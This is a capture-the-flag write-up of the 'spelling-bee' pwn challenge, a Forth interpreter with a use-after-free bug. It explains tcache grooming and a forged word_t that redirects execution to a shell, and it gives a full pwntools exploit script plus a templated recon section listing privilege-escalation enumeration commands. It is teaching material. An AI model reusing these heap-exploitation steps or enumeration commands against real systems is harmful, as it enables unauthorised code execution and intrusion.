← Back to Writeups
HTBN/APwn

spelling-bee

XESXOR8/23/20266 min read
#pwn#htb#n/a

spelling-bee

Platform: B01Lersc | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: fake_structure_forgery, tcache_grooming, use_after_free_exploitation

Summary

Task: a tiny Forth interpreter with user-defined words, deletion, and a startup leak of dosys(). Solution: exploit a use-after-free in forget, groom tcache to reclaim a stale word_t as name chunks, forge a fake word_t, and redirect execution to dosys("sh").

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: b01lersc | ID: 20260418_b01lersc_spelling_bee
  • Tags: pie, interpreter, use_after_free, tcache, forth
  • Indicators: compiled words store raw word_t pointers, forget frees referenced words, startup banner leaks dosys(), same tcache bin for word_t and dict_t
  • Source: 20260418_b01lersc_spelling_bee.md

Foothold

Vulnerability / Misconfiguration

  1. Fake_structure_forgery
  2. Tcache_grooming
  3. Use_after_free_exploitation
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • fake_structure_forgery
  • tcache_grooming
  • use_after_free_exploitation
  • Tags: pie, interpreter, use_after_free, tcache, forth

Original Writeup

<details><summary>Click to expand original content</summary>

Description

The original organizer description was not preserved in the task directory.

We are given a small Forth-like interpreter implemented in C. The goal is to study how user-defined words are compiled and deleted, then turn a memory-management bug into code execution and read the flag.

Analysis

The core runtime object is:

typedef struct word {
  long flags;
  long length;
  long referenced_by;
  void (*code)(void *);
  void *param;
} word_t;

Dictionary entries are stored separately as:

typedef struct dictionary {
  char *name;
  word_t *word;
  struct dictionary *next;
  bool alloc_name;
} dict_t;

When the interpreter compiles a new word, it appends raw word_t * pointers into compile_def. There is no indirection layer: compiled words directly reference the original word_t objects.

That would still be safe if deletion respected ownership, but delete_word() does not check referenced_by before freeing the target word. So if word a was compiled to call word b, then forget b frees b even though a still contains a pointer to b.word_t. This is a classic dangling-pointer bug and gives us a use-after-free primitive.

The challenge also prints the runtime address of dosys() at startup:

printf("%p\n", dosys);

That immediately leaks the PIE base, so we can compute both dosys and the address of g_stack.

The heap layout is especially convenient:

  • sizeof(word_t) lands in the 0x30 tcache bin.
  • sizeof(dict_t) also lands in the 0x30 tcache bin.
  • The initial compile_def allocation for a freshly compiled word lands in the 0x90 tcache bin.

The exploit relies on careful tcache grooming. We create several helper words, then compile b, and then compile a so that a contains a stale raw pointer to b.word_t. After that, we free enough same-size chunks to control tcache counts. The important part is that forgetting b places b.word_t into the 0x30 tcache bin while b.dict_t spills instead of reclaiming the same slot, preserving the stale chunk for later reuse.

Once that freed b.word_t chunk is available, we reclaim it as a short name allocation three times and progressively overwrite the stale structure in place.

Forgery plan

We choose a writable g_stack cell whose low six bytes contain no whitespace or NUL, because tokens are parsed with %s. Then we perform three reclaim stages:

  1. Stage A: write the low bytes of param so the forged word_t points at the chosen g_stack cell.
  2. Stage B: write the low bytes of dosys into code and zero one remaining byte.
  3. Stage C: write the low bytes of dosys again and zero the last remaining code byte.

After these writes, the dangling pointer inside a now resolves to a fake word_t whose code is dosys and whose param points into g_stack.

Finally, pushing decimal 26739 places 0x6873 on the selected stack cell, which is the string "sh" in little endian. Calling the stale word a therefore executes dosys("sh"), which reaches system("sh").

From the resulting shell, cat flag* prints the flag.

Solution

The exploit script below implements the full attack:

#!/usr/bin/env python3
from pwn import *

HOST = "spelling-bee.opus4-7.b01le.rs"
PORT = 8443

DOSYS_OFF = 0x146B
GSTACK_OFF = 0x5100

BAD = set(b" \t\r\n\x0b\x0c\x00")


def good(bs: bytes) -> bool:
    return all(b not in BAD for b in bs)


def pick_stack_target(base: int):
    g_stack = base + GSTACK_OFF
    for off in range(8, 8 * 64, 8):
        addr = g_stack + off
        low6 = p64(addr)[:6]
        if good(low6):
            return addr, off // 8
    raise RuntimeError("no usable g_stack cell")


def main():
    io = remote(HOST, PORT, ssl=True)
    io.recvuntil(b"implement them for me?\n")

    dosys = int(io.recvline().strip(), 16)
    base = dosys - DOSYS_OFF
    target, cell = pick_stack_target(base)

    log.info(f"dosys = {hex(dosys)}")
    log.info(f"base = {hex(base)}")
    log.info(f"target = {hex(target)} (cell {cell})")

    n1 = b"A" * 24 + b"B" * 8 + p64(target)[:6]
    n2 = b"A" * 24 + p64(dosys)[:6] + b"X"
    n3 = b"A" * 24 + p64(dosys)[:6]

    assert len(n1) == 38 and good(n1)
    assert len(n2) == 31 and good(n2)
    assert len(n3) == 30 and good(n3)

    tokens = [
        b":", b"f1", b";",
        b":", b"f2", b";",
        b":", b"f3", b";",
        b":", b"f4", b";",
        b":", b"f5", b";",
        b":", b"b", b";",
        b":", b"a", b"b", b";",
        b"forget", b"f1",
        b"forget", b"f2",
        b"forget", b"f3",
        b"forget", b"b",
        b":", n1, b";",
        b"forget", b"f4",
        b":", b"t1", b"1", b";",
        b"forget", b"t1",
        b"forget", n1,
        b":", n2, b";",
        b"forget", b"f5",
        b":", b"t2", b"1", b";",
        b"forget", b"t2",
        b"forget", n2,
        b":", n3, b";",
    ]

    for _ in range(cell - 1):
        tokens.append(b"0")
    tokens.append(str(0x6873).encode())
    tokens.append(b"a")

    io.send(b" ".join(tokens) + b"\n")
    io.sendline(b"cat flag*; exit")
    print(io.recvrepeat(2).decode(errors="ignore"))


if __name__ == "__main__":
    main()

Step-by-step

  1. Read the startup leak and compute the PIE base from dosys.
  2. Pick a usable g_stack cell whose address bytes are safe inside a token.
  3. Build word b, then word a that references b, so a stores a raw pointer to b.word_t.
  4. Free helper chunks to shape the 0x30 tcache state.
  5. forget b and leave a dangling word_t * inside a.
  6. Reclaim the freed b.word_t chunk as short name allocations three times, forging param and then code.
  7. Push 26739 so the chosen stack cell contains "sh".
  8. Invoke a, which now dispatches to forged dosys("sh").
  9. From the shell, run cat flag*.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR